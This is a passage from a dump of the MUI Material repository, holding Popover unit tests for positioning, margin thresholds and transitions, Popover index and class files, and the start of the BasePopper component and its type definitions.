anchorEl.getBoundingClientRect();\n      const anchorTop = anchorRect.top + anchorRect.height / 2;\n      const anchorLeft = anchorRect.left + anchorRect.height / 2;\n      const top = anchorTop <= 16 ? 16 : anchorTop;\n      const left = anchorLeft <= 16 ? 16 : anchorLeft;\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({ top: `${top}px`, left: `${left}px` });\n    });\n\n    it('should be positioned over the top right of the anchor', () => {\n      openPopover({ vertical: 'top', horizontal: 'right' });\n      const anchorRect = anchorEl.getBoundingClientRect();\n      const top = anchorRect.top <= 16 ? 16 : anchorRect.top;\n      const left = anchorRect.right <= 16 ? 16 : anchorRect.right;\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({ top: `${top}px`, left: `${left}px` });\n    });\n\n    it('should be positioned over the bottom right of the anchor', () => {\n      openPopover({ vertical: 'bottom', horizontal: 'right' });\n\n      const anchorRect = anchorEl.getBoundingClientRect();\n      const top = anchorRect.bottom <= 16 ? 16 : anchorRect.bottom;\n      const left = anchorRect.right <= 16 ? 16 : anchorRect.right;\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({ top: `${top}px`, left: `${left}px` });\n    });\n  });\n\n  it('should pass through container prop if container and anchorEl props are provided', () => {\n    const container = document.createElement('div');\n    render(<Popover anchorEl={defaultAnchorEl} data-testid=\"popover\" container={container} open />);\n\n    expect(container.querySelector('[data-testid=\"popover\"]').parentElement).to.equal(container);\n  });\n\n  it(\"should use anchorEl's parent body as container if container not provided\", () => {\n    render(<Popover anchorEl={defaultAnchorEl} data-testid=\"popover\" open />);\n\n    expect(screen.getByTestId('popover').parentElement).to.equal(\n      defaultAnchorEl.ownerDocument.body,\n    );\n  });\n\n  describe('warnings', () => {\n    beforeEach(() => {\n      PropTypes.resetWarningCache();\n    });\n\n    it('should warn if anchorEl is not valid', () => {\n      expect(() => {\n        PropTypes.checkPropTypes(\n          Popover.propTypes,\n          { classes: {}, open: true },\n          'prop',\n          'MockedPopover',\n        );\n      }).toErrorDev('It should be an Element or PopoverVirtualElement instance');\n    });\n  });\n\n  describe('prop anchorReference=\"anchorPosition\"', () => {\n    const anchorPosition = { top: 300, left: 500 };\n\n    function openPopover(anchorOrigin) {\n      render(\n        <Popover\n          anchorEl={defaultAnchorEl}\n          anchorReference=\"anchorPosition\"\n          anchorPosition={anchorPosition}\n          anchorOrigin={anchorOrigin}\n          open\n          transitionDuration={0}\n          slotProps={{ paper: { 'data-testid': 'paper' } }}\n        >\n          <div />\n        </Popover>,\n      );\n      clock.tick(0);\n    }\n\n    it('should be positioned according to the passed coordinates', () => {\n      openPopover();\n\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({\n        top: `${anchorPosition.top}px`,\n        left: `${anchorPosition.left}px`,\n      });\n    });\n\n    it('should ignore the anchorOrigin prop when being positioned', () => {\n      openPopover({ vertical: 'top', horizontal: 'right' });\n\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({\n        top: `${anchorPosition.top}px`,\n        left: `${anchorPosition.left}px`,\n      });\n    });\n  });\n\n  describe('prop anchorReference=\"none\"', () => {\n    it('should not try to change the position', () => {\n      render(\n        <Popover\n          anchorEl={defaultAnchorEl}\n          anchorReference=\"none\"\n          open\n          transitionDuration={0}\n          slotProps={{\n            paper: {\n              'data-testid': 'paper',\n              style: {\n                top: 11,\n                left: 12,\n              },\n            },\n          }}\n        >\n          <div />\n        </Popover>,\n      );\n\n      expect(screen.getByTestId('paper')).toHaveInlineStyle({\n        top: `11px`,\n        left: `12px`,\n      });\n    });\n  });\n\n  describe('update position', () => {\n    let windowInnerHeight;\n\n    beforeEach(() => {\n      windowInnerHeight = window.innerHeight;\n      window.innerHeight = 8;\n    });\n\n    afterEach(() => {\n      window.innerHeight = windowInnerHeight;\n    });\n\n    it('should recalculate position if the popover is open', () => {\n      let element;\n      const anchorEl = document.createElement('div');\n      stub(anchorEl, 'getBoundingClientRect').callsFake(() => ({\n        left: 0,\n        top: 9,\n      }));\n      render(\n        <Popover\n          anchorEl={anchorEl}\n          open\n          slotProps={{\n            transition: {\n              onEntering: (node) => {\n                element = node;\n              },\n            },\n          }}\n          transitionDuration={0}\n          marginThreshold={8}\n        >\n          <div />\n        </Popover>,\n      );\n      const beforeStyle = {\n        top: element.style.top,\n        left: element.style.left,\n        transformOrigin: element.style.transformOrigin,\n      };\n\n      window.innerHeight = windowInnerHeight * 2;\n      window.dispatchEvent(new window.Event('resize'));\n      clock.tick(166);\n\n      const afterStyle = {\n        top: element.style.top,\n        left: element.style.left,\n        transformOrigin: element.style.transformOrigin,\n      };\n      expect(beforeStyle).not.to.deep.equal(afterStyle);\n    });\n\n    it('should not recalculate position if the popover is closed', () => {\n      let element;\n      const mockedAnchor = document.createElement('div');\n      stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n        left: 0,\n        top: 9,\n      }));\n      const { setProps } = render(\n        <Popover\n          anchorEl={mockedAnchor}\n          open\n          slotProps={{\n            transition: {\n              onEntering: (node) => {\n                element = node;\n              },\n            },\n          }}\n          transitionDuration={0}\n          marginThreshold={8}\n        >\n          <div />\n        </Popover>,\n      );\n      const beforeStyle = {\n        top: element.style.top,\n        left: element.style.left,\n        transformOrigin: element.style.transformOrigin,\n      };\n\n      window.innerHeight = windowInnerHeight * 2;\n      window.dispatchEvent(new window.Event('resize'));\n      setProps({ open: false });\n      clock.tick(166);\n\n      const afterStyle = {\n        top: element.style.top,\n        left: element.style.left,\n        transformOrigin: element.style.transformOrigin,\n      };\n      expect(beforeStyle).to.deep.equal(afterStyle);\n    });\n\n    it('should be able to manually recalculate position', async () => {\n      let element;\n      const mockedAnchor = document.createElement('div');\n      stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n        left: 0,\n        top: 9,\n      }));\n      const { setProps } = render(\n        <Popover\n          anchorEl={mockedAnchor}\n          open\n          slotProps={{\n            transition: {\n              onEntering: (node) => {\n                element = node;\n              },\n            },\n          }}\n          transitionDuration={0}\n          marginThreshold={8}\n        >\n          <div />\n        </Popover>,\n      );\n      let popoverActions;\n      setProps({\n        action: (actions) => {\n          popoverActions = actions;\n        },\n      });\n      const beforeStyle = {\n        top: element.style.top,\n        left: element.style.left,\n        transformOrigin: element.style.transformOrigin,\n      };\n      window.innerHeight = windowInnerHeight * 2;\n\n      expect(typeof popoverActions.updatePosition === 'function').to.equal(true);\n\n      await act(async () => {\n        popoverActions.updatePosition();\n      });\n      clock.tick(166);\n\n      const afterStyle = {\n        top: element.style.top,\n        left: element.style.left,\n        transformOrigin: element.style.transformOrigin,\n      };\n      expect(beforeStyle).not.to.deep.equal(afterStyle);\n    });\n  });\n\n  describe('prop: marginThreshold', () => {\n    [0, 18, 16].forEach((marginThreshold) => {\n      function getElementStyleOfOpenPopover(anchorEl = defaultAnchorEl) {\n        let style;\n        render(\n          <Popover\n            anchorEl={anchorEl}\n            open\n            marginThreshold={marginThreshold}\n            slotProps={{\n              transition: {\n                onEntering: (node) => {\n                  style = node.style;\n                },\n              },\n              paper: { component: FakePaper },\n            }}\n          >\n            <div />\n          </Popover>,\n        );\n        return style;\n      }\n\n      describe(`positioning when \\`marginThreshold=${marginThreshold}\\``, () => {\n        it('when no movement is needed', () => {\n          const negative = marginThreshold === 0 ? '' : '-';\n          const positioningStyle = getElementStyleOfOpenPopover();\n\n          expect(positioningStyle.top).to.equal(`${marginThreshold}px`);\n          expect(positioningStyle.left).to.equal(`${marginThreshold}px`);\n          expect(positioningStyle.transformOrigin).to.match(\n            new RegExp(`${negative}${marginThreshold}px ${negative}${marginThreshold}px( 0px)?`),\n          );\n        });\n\n        it('top < marginThreshold', () => {\n          const mockedAnchor = document.createElement('div');\n          stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n            left: marginThreshold,\n            top: marginThreshold - 1,\n          }));\n          const positioningStyle = getElementStyleOfOpenPopover(mockedAnchor);\n\n          expect(positioningStyle.top).to.equal(`${marginThreshold}px`);\n          expect(positioningStyle.left).to.equal(`${marginThreshold}px`);\n          expect(positioningStyle.transformOrigin).to.match(/0px -1px( 0px)?/);\n        });\n\n        describe('bottom > heightThreshold', () => {\n          let windowInnerHeight;\n\n          beforeAll(() => {\n            windowInnerHeight = window.innerHeight;\n            window.innerHeight = marginThreshold * 2;\n          });\n\n          afterAll(() => {\n            window.innerHeight = windowInnerHeight;\n          });\n\n          it('test', () => {\n            const mockedAnchor = document.createElement('div');\n            stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n              left: marginThreshold,\n              top: marginThreshold + 1,\n            }));\n\n            const positioningStyle = getElementStyleOfOpenPopover(mockedAnchor);\n\n            expect(positioningStyle.top).to.equal(`${marginThreshold}px`);\n            expect(positioningStyle.left).to.equal(`${marginThreshold}px`);\n            expect(positioningStyle.transformOrigin).to.match(/0px 1px( 0px)?/);\n          });\n        });\n\n        it('left < marginThreshold', () => {\n          const mockedAnchor = document.createElement('div');\n          stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n            left: marginThreshold - 1,\n            top: marginThreshold,\n          }));\n\n          const positioningStyle = getElementStyleOfOpenPopover(mockedAnchor);\n\n          expect(positioningStyle.top).to.equal(`${marginThreshold}px`);\n\n          expect(positioningStyle.left).to.equal(`${marginThreshold}px`);\n\n          expect(positioningStyle.transformOrigin).to.match(/-1px 0px( 0px)?/);\n        });\n\n        describe('right > widthThreshold', () => {\n          let innerWidthContainer;\n\n          beforeAll(() => {\n            innerWidthContainer = window.innerWidth;\n            window.innerWidth = marginThreshold * 2;\n          });\n\n          afterAll(() => {\n            window.innerWidth = innerWidthContainer;\n          });\n\n          it('test', () => {\n            const mockedAnchor = document.createElement('div');\n            stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n              left: marginThreshold + 1,\n              top: marginThreshold,\n            }));\n\n            const positioningStyle = getElementStyleOfOpenPopover(mockedAnchor);\n\n            expect(positioningStyle.top).to.equal(`${marginThreshold}px`);\n            expect(positioningStyle.left).to.equal(`${marginThreshold}px`);\n            expect(positioningStyle.transformOrigin).to.match(/1px 0px( 0px)?/);\n          });\n        });\n      });\n    });\n\n    describe('positioning when `marginThreshold=null`', () => {\n      it('should not apply the marginThreshold when marginThreshold is null', () => {\n        const mockedAnchor = document.createElement('div');\n        const valueOutsideWindow = -100;\n        stub(mockedAnchor, 'getBoundingClientRect').callsFake(() => ({\n          top: valueOutsideWindow,\n          left: valueOutsideWindow,\n        }));\n\n        let style;\n        render(\n          <Popover\n            anchorEl={mockedAnchor}\n            open\n            marginThreshold={null}\n            slotProps={{\n              transition: {\n                onEntering: (node) => {\n                  style = node.style;\n                },\n              },\n              paper: { component: FakePaper },\n            }}\n          >\n            <div />\n          </Popover>,\n        );\n\n        expect(style.top).to.equal(`${valueOutsideWindow}px`);\n        expect(style.left).to.equal(`${valueOutsideWindow}px`);\n        expect(style.transformOrigin).to.match(/0px 0px( 0px)?/);\n      });\n    });\n  });\n\n  describe('prop: transitionDuration', () => {\n    it('should apply the auto prop if supported', () => {\n      const TransitionComponent = React.forwardRef((props, ref) => (\n        <div data-testid=\"transition\" data-timeout={props.timeout} ref={ref} tabIndex={-1} />\n      ));\n      TransitionComponent.muiSupportAuto = true;\n      render(\n        <Popover anchorEl={defaultAnchorEl} open slots={{ transition: TransitionComponent }}>\n          <div />\n        </Popover>,\n      );\n      expect(screen.getByTestId('transition')).to.have.attribute('data-timeout').equals('auto');\n    });\n\n    it('should not apply the auto prop if not supported', () => {\n      const TransitionComponent = React.forwardRef((props, ref) => (\n        <div data-testid=\"transition\" data-timeout={props.timeout} ref={ref} tabIndex={-1} />\n      ));\n      render(\n        <Popover anchorEl={defaultAnchorEl} open slots={{ transition: TransitionComponent }}>\n          <div />\n        </Popover>,\n      );\n      expect(screen.getByTestId('transition')).not.to.have.attribute('data-timeout');\n    });\n  });\n\n  it(\"should not throw if ownerState is used in slot's styleOverrides\", () => {\n    expect(() =>\n      render(\n        <ThemeProvider\n          theme={createTheme({\n            components: {\n              MuiPopover: {\n                styleOverrides: {\n                  paper: ({ ownerState }) => ({\n                    marginTop: ownerState.transformOrigin?.vertical === 'top' ? '4px' : 0,\n                  }),\n                },\n              },\n            },\n          })}\n        >\n          <Popover anchorEl={defaultAnchorEl} open>\n            <div />\n          </Popover>\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n\n  describe('prop: slotProps', () => {\n    describe('paper', () => {\n      it('should position popover correctly when ref is provided', () => {\n        const handleEntering = spy();\n        const paperRef = { current: null };\n        render(\n          <Popover\n            anchorEl={defaultAnchorEl}\n            open\n            slotProps={{ paper: { ref: paperRef }, transition: { onEntering: handleEntering } }}\n          >\n            <div />\n          </Popover>,\n        );\n        expect(paperRef.current).not.to.equal(null);\n        expect(handleEntering.args[0][0]).toHaveInlineStyle({ top: '16px', left: '16px' });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Popover/index.d.ts",
    "content": "export { default } from './Popover';\nexport * from './Popover';\n\nexport { default as popoverClasses } from './popoverClasses';\nexport * from './popoverClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Popover/index.js",
    "content": "export { default } from './Popover';\n\nexport * from './Popover';\nexport { default as popoverClasses } from './popoverClasses';\nexport * from './popoverClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Popover/popoverClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface PopoverClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the Paper component. */\n  paper: string;\n}\n\nexport type PopoverClassKey = keyof PopoverClasses;\n\nexport function getPopoverUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiPopover', slot);\n}\n\nconst popoverClasses: PopoverClasses = generateUtilityClasses('MuiPopover', ['root', 'paper']);\n\nexport default popoverClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Popper/BasePopper.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport ownerDocument from '@mui/utils/ownerDocument';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport useForkRef from '@mui/utils/useForkRef';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport refType from '@mui/utils/refType';\nimport { createPopper, Instance, Modifier, Placement, State, VirtualElement } from '@popperjs/core';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport isLayoutSupported from '../utils/isLayoutSupported';\nimport Portal from '../Portal';\nimport { getPopperUtilityClass } from './popperClasses';\nimport { WithOptionalOwnerState } from '../utils/types';\nimport { PolymorphicComponent } from '../utils/PolymorphicComponent';\nimport {\n  PopperPlacementType,\n  PopperTooltipProps,\n  PopperTooltipTypeMap,\n  PopperChildrenProps,\n  PopperProps,\n  PopperRootSlotProps,\n  PopperTransitionProps,\n  PopperTypeMap,\n} from './BasePopper.types';\n\nfunction flipPlacement(placement?: PopperPlacementType, direction?: 'ltr' | 'rtl') {\n  if (direction === 'ltr') {\n    return placement;\n  }\n\n  switch (placement) {\n    case 'bottom-end':\n      return 'bottom-start';\n    case 'bottom-start':\n      return 'bottom-end';\n    case 'top-end':\n      return 'top-start';\n    case 'top-start':\n      return 'top-end';\n    default:\n      return placement;\n  }\n}\n\nfunction resolveAnchorEl(\n  anchorEl:\n    | VirtualElement\n    | (() => VirtualElement)\n    | HTMLElement\n    | (() => HTMLElement)\n    | null\n    | undefined,\n): HTMLElement | VirtualElement | null | undefined {\n  return typeof anchorEl === 'function' ? anchorEl() : anchorEl;\n}\n\nfunction isHTMLElement(element: HTMLElement | VirtualElement): element is HTMLElement {\n  return (element as HTMLElement).nodeType !== undefined;\n}\n\nfunction isVirtualElement(element: HTMLElement | VirtualElement): element is VirtualElement {\n  return !isHTMLElement(element);\n}\n\nconst useUtilityClasses = (ownerState: any) => {\n  const { classes } = ownerState;\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, getPopperUtilityClass, classes);\n};\n\nconst defaultPopperOptions = {};\n\nconst PopperTooltip = React.forwardRef<HTMLDivElement, PopperTooltipProps>(function PopperTooltip<\n  RootComponentType extends React.ElementType,\n>(props: PopperTooltipProps<RootComponentType>, forwardedRef: React.ForwardedRef<HTMLDivElement>) {\n  const {\n    anchorEl,\n    children,\n    direction,\n    disablePortal,\n    modifiers,\n    open,\n    placement: initialPlacement,\n    popperOptions,\n    popperRef: popperRefProp,\n    slotProps = {},\n    slots = {},\n    TransitionProps,\n    // @ts-ignore internal logic\n    ownerState: ownerStateProp, // prevent from spreading to DOM, it can come from the parent component e.g. Select.\n    ...other\n  } = props;\n\n  const tooltipRef = React.useRef<HTMLElement>(null);\n  const ownRef = useForkRef(tooltipRef, forwardedRef);\n\n  const popperRef = React.useRef<Instance>(null);\n  const handlePopperRef = useForkRef(popperRef, popperRefProp);\n  const handlePopperRefRef = React.useRef(handlePopperRef);\n  useEnhancedEffect(() => {\n    handlePopperRefRef.current = handlePopperRef;\n  }, [handlePopperRef]);\n  React.useImperativeHandle(popperRefProp, () => popperRef.current!, []);\n\n  const rtlPlacement = flipPlacement(initialPlacement, direction);\n  /**\n   * placement initialized from prop but can change during lifetime if modifiers.flip.\n   * modifiers.flip is essentially a flip for controlled/uncontrolled behavior\n   */\n  const [placement, setPlacement] = React.useState<Placement | undefined>(rtlPlacement);\n  const [resolvedAnchorElement, setResolvedAnchorElement] = React.useState<\n    HTMLElement | VirtualElement | null | undefined\n  >(resolveAnchorEl(anchorEl));\n\n  React.useEffect(() => {\n    if (popperRef.current) {\n      popperRef.current.forceUpdate();\n    }\n  });\n\n  React.useEffect(() => {\n    if (anchorEl) {\n      setResolvedAnchorElement(resolveAnchorEl(anchorEl));\n    }\n  }, [anchorEl]);\n\n  useEnhancedEffect(() => {\n    if (!resolvedAnchorElement || !open) {\n      return undefined;\n    }\n\n    const handlePopperUpdate = (data: State) => {\n      setPlacement(data.placement);\n    };\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (\n        resolvedAnchorElement &&\n        isHTMLElement(resolvedAnchorElement) &&\n        resolvedAnchorElement.nodeType === 1\n      ) {\n        const box = resolvedAnchorElement.getBoundingClientRect();\n\n        if (\n          isLayoutSupported() &&\n          box.top === 0 &&\n          box.left === 0 &&\n          box.right === 0 &&\n          box.bottom === 0\n        ) {\n          console.warn(\n            [\n              'MUI: The `anchorEl` prop provided to the component is invalid.',\n              'The anchor element should be part of the document layout.',\n              \"Make sure the element is present in the document or that it's not display none.\",\n            ].join('\\n'),\n          );\n        }\n      }\n    }\n\n    let popperModifiers: Partial<Modifier<any, any>>[] = [\n      {\n        name: 'preventOverflow',\n        options: {\n          altBoundary: disablePortal,\n        },\n      },\n      {\n        name: 'flip',\n        options: {\n          altBoundary: disablePortal,\n        },\n      },\n      {\n        name: 'onUpdate',\n        enabled: true,\n        phase: 'afterWrite',\n        fn: ({ state }) => {\n          handlePopperUpdate(state);\n        },\n      },\n    ];\n\n    if (modifiers != null) {\n      popperModifiers = popperModifiers.concat(modifiers);\n    }\n    if (popperOptions && popperOptions.modifiers != null) {\n      popperModifiers = popperModifiers.concat(popperOptions.modifiers);\n    }\n\n    const popper = createPopper(resolvedAnchorElement, tooltipRef.current!, {\n      placement: rtlPlacement,\n      ...popperOptions,\n      modifiers: popperModifiers,\n    });\n\n    handlePopperRefRef.current!(popper);\n\n    return () => {\n      popper.destroy();\n      handlePopperRefRef.current!(null);\n    };\n  }, [resolvedAnchorElement, disablePortal, modifiers, open, popperOptions, rtlPlacement]);\n\n  const childProps: PopperChildrenProps = { placement: placement! };\n\n  if (TransitionProps !== null) {\n    childProps.TransitionProps = TransitionProps;\n  }\n\n  const classes = useUtilityClasses(props);\n  const Root = slots.root ?? 'div';\n\n  const rootProps: WithOptionalOwnerState<PopperRootSlotProps> = useSlotProps({\n    elementType: Root,\n    externalSlotProps: slotProps.root,\n    externalForwardedProps: other,\n    additionalProps: {\n      role: 'tooltip',\n      ref: ownRef,\n    },\n    ownerState: props,\n    className: classes.root,\n  });\n\n  return (\n    <Root {...rootProps}>{typeof children === 'function' ? children(childProps) : children}</Root>\n  );\n}) as PolymorphicComponent<PopperTooltipTypeMap>;\n\n/**\n * @ignore - internal component.\n */\nconst Popper = React.forwardRef<HTMLDivElement, PopperProps>(function Popper<\n  RootComponentType extends React.ElementType,\n>(props: PopperProps<RootComponentType>, forwardedRef: React.ForwardedRef<HTMLDivElement>) {\n  const {\n    anchorEl,\n    children,\n    container: containerProp,\n    direction = 'ltr',\n    disablePortal = false,\n    keepMounted = false,\n    modifiers,\n    open,\n    placement = 'bottom',\n    popperOptions = defaultPopperOptions,\n    popperRef,\n    style,\n    transition = false,\n    slotProps = {},\n    slots = {},\n    ...other\n  } = props;\n\n  const [exited, setExited] = React.useState(true);\n\n  const handleEnter = () => {\n    setExited(false);\n  };\n\n  const handleExited = () => {\n    setExited(true);\n  };\n\n  if (!keepMounted && !open && (!transition || exited)) {\n    return null;\n  }\n\n  // If the container prop is provided, use that\n  // If the anchorEl prop is provided, use its parent body element as the container\n  // If neither are provided let the Modal take care of choosing the container\n  let container;\n  if (containerProp) {\n    container = containerProp;\n  } else if (anchorEl) {\n    const resolvedAnchorEl = resolveAnchorEl(anchorEl);\n    container =\n      resolvedAnchorEl && isHTMLElement(resolvedAnchorEl)\n        ? ownerDocument(resolvedAnchorEl).body\n        : ownerDocument(null).body;\n  }\n  const display = !open && keepMounted && (!transition || exited) ? 'none' : undefined;\n  const transitionProps: PopperTransitionProps | undefined = transition\n    ? {\n        in: open,\n        onEnter: handleEnter,\n        onExited: handleExited,\n      }\n    : undefined;\n\n  return (\n    <Portal disablePortal={disablePortal} container={container}>\n      <PopperTooltip\n        anchorEl={anchorEl}\n        direction={direction}\n        disablePortal={disablePortal}\n        modifiers={modifiers}\n        ref={forwardedRef}\n        open={transition ? !exited : open}\n        placement={placement}\n        popperOptions={popperOptions}\n        popperRef={popperRef}\n        slotProps={slotProps}\n        slots={slots}\n        {...other}\n        style={{\n          // Prevents scroll issue, waiting for Popper.js to add this style once initiated.\n          position: 'fixed',\n          // Fix Popper.js display issue\n          top: 0,\n          left: 0,\n          display,\n          ...style,\n        }}\n        TransitionProps={transitionProps}\n      >\n        {children}\n      </PopperTooltip>\n    </Portal>\n  );\n}) as PolymorphicComponent<PopperTypeMap>;\n\nPopper.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * An HTML element, [virtualElement](https://popper.js.org/docs/v2/virtual-elements/),\n   * or a function that returns either.\n   * It's used to set the position of the popper.\n   * The return value will passed as the reference object of the Popper instance.\n   */\n  anchorEl: chainPropTypes(\n    PropTypes.oneOfType([HTMLElementType, PropTypes.object, PropTypes.func]),\n    (props) => {\n      if (props.open) {\n        const resolvedAnchorEl = resolveAnchorEl(props.anchorEl);\n\n        if (\n          resolvedAnchorEl &&\n          isHTMLElement(resolvedAnchorEl) &&\n          resolvedAnchorEl.nodeType === 1\n        ) {\n          const box = resolvedAnchorEl.getBoundingClientRect();\n          if (process.env.NODE_ENV !== 'production') {\n            if (\n              isLayoutSupported() &&\n              box.top === 0 &&\n              box.left === 0 &&\n              box.right === 0 &&\n              box.bottom === 0\n            ) {\n              return new Error(\n                [\n                  'MUI: The `anchorEl` prop provided to the component is invalid.',\n                  'The anchor element should be part of the document layout.',\n                  \"Make sure the element is present in the document or that it's not display none.\",\n                ].join('\\n'),\n              );\n            }\n          }\n        } else if (\n          !resolvedAnchorEl ||\n          typeof resolvedAnchorEl.getBoundingClientRect !== 'function' ||\n          (isVirtualElement(resolvedAnchorEl) &&\n            resolvedAnchorEl.contextElement != null &&\n            resolvedAnchorEl.contextElement.nodeType !== 1)\n        ) {\n          return new Error(\n            [\n              'MUI: The `anchorEl` prop provided to the component is invalid.',\n              'It should be an HTML element instance or a virtualElement ',\n              '(https://popper.js.org/docs/v2/virtual-elements/).',\n            ].join('\\n'),\n          );\n        }\n      }\n\n      return null;\n    },\n  ),\n  /**\n   * Popper render function or node.\n   */\n  children: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.node,\n    PropTypes.func,\n  ]),\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.func,\n  ]),\n  /**\n   * Direction of the text.\n   * @default 'ltr'\n   */\n  direction: PropTypes.oneOf(['ltr', 'rtl']),\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal: PropTypes.bool,\n  /**\n   * Always keep the children in the DOM.\n   * This prop can be useful in SEO situation or\n   * when you want to maximize the responsiveness of the Popper.\n   * @default false\n   */\n  keepMounted: PropTypes.bool,\n  /**\n   * Popper.js is based on a \"plugin-like\" architecture,\n   * most of its features are fully encapsulated \"modifiers\".\n   *\n   * A modifier is a function that is called each time Popper.js needs to\n   * compute the position of the popper.\n   * For this reason, modifiers should be very performant to avoid bottlenecks.\n   * To learn how to create a modifier, [read the modifiers documentation](https://popper.js.org/docs/v2/modifiers/).\n   */\n  modifiers: PropTypes.arrayOf(\n    PropTypes.shape({\n      data: PropTypes.object,\n      effect: PropTypes.func,\n      enabled: PropTypes.bool,\n      fn: PropTypes.func,\n      name: PropTypes.any,\n      options: PropTypes.object,\n      phase: PropTypes.oneOf([\n        'afterMain',\n        'afterRead',\n        'afterWrite',\n        'beforeMain',\n        'beforeRead',\n        'beforeWrite',\n        'main',\n        'read',\n        'write',\n      ]),\n      requires: PropTypes.arrayOf(PropTypes.string),\n      requiresIfExists: PropTypes.arrayOf(PropTypes.string),\n    }),\n  ),\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * Popper placement.\n   * @default 'bottom'\n   */\n  placement: PropTypes.oneOf([\n    'auto-end',\n    'auto-start',\n    'auto',\n    'bottom-end',\n    'bottom-start',\n    'bottom',\n    'left-end',\n    'left-start',\n    'left',\n    'right-end',\n    'right-start',\n    'right',\n    'top-end',\n    'top-start',\n    'top',\n  ]),\n  /**\n   * Options provided to the [`Popper.js`](https://popper.js.org/docs/v2/constructors/#options) instance.\n   * @default {}\n   */\n  popperOptions: PropTypes.shape({\n    modifiers: PropTypes.array,\n    onFirstUpdate: PropTypes.func,\n    placement: PropTypes.oneOf([\n      'auto-end',\n      'auto-start',\n      'auto',\n      'bottom-end',\n      'bottom-start',\n      'bottom',\n      'left-end',\n      'left-start',\n      'left',\n      'right-end',\n      'right-start',\n      'right',\n      'top-end',\n      'top-start',\n      'top',\n    ]),\n    strategy: PropTypes.oneOf(['absolute', 'fixed']),\n  }),\n  /**\n   * A ref that points to the used popper instance.\n   */\n  popperRef: refType,\n  /**\n   * The props used for each slot inside the Popper.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside the Popper.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    root: PropTypes.elementType,\n  }),\n  /**\n   * Help supporting a react-transition-group/Transition component.\n   * @default false\n   */\n  transition: PropTypes.bool,\n} as any;\n\nexport default Popper;\n"
  },
  {
    "path": "packages/mui-material/src/Popper/BasePopper.types.ts",
    "content": "import * as React from 'react';\nimport { Instance, Options, OptionsGeneric, VirtualElement } from '@popperjs/core';\nimport { PortalProps } from '../Portal';\nimport { SlotComponentProps } from '../utils/types';\nimport { PolymorphicProps } from '../utils/PolymorphicComponent';\n\nexport type PopperPlacementType = Options['placement'];\n\nexport interface PopperRootSlotPropsOverrides {}\n\nexport interface PopperTransitionProps {\n  in: boolean;\n  onEnter: () => void;\n  onExited: () => void;\n}\n\nexport interface PopperChildrenProps {\n  placement: PopperPlacementType;\n  TransitionProps?: PopperTransitionProps | undefined;\n}\n\nexport interface PopperOwnProps {\n  /**\n   * An HTML element, [virtualElement](https://popper.js.org/docs/v2/virtual-elements/),\n   * or a function that returns either.\n   * It's used to set the position of the popper.\n   * The return value will passed as the reference object of the Popper instance.\n   */\n  anchorEl?:\n    | null\n    | VirtualElement\n    | HTMLElement\n    | (() => HTMLElement)\n    | (() => VirtualElement)\n    | undefined;\n  /**\n   * Popper render function or node.\n   */\n  children?: React.ReactNode | ((props: PopperChildrenProps) => React.ReactNode);\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container?: PortalProps['container'] | undefined;\n  /**\n   * Direction of the text.\n   * @default 'ltr'\n   */\n  direction?: 'ltr' | 'rtl' | undefined;\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal?: PortalProps['disablePortal'] | undefined;\n  /**\n   * Always keep the children in the DOM.\n   * This prop can be useful in SEO situation or\n   * when you want to maximize the responsiveness of the Popper.\n   * @default false\n   */\n  keepMounted?: boolean | undefined;\n  /**\n   * Popper.js is based on a \"plugin-like\" architecture,\n   * 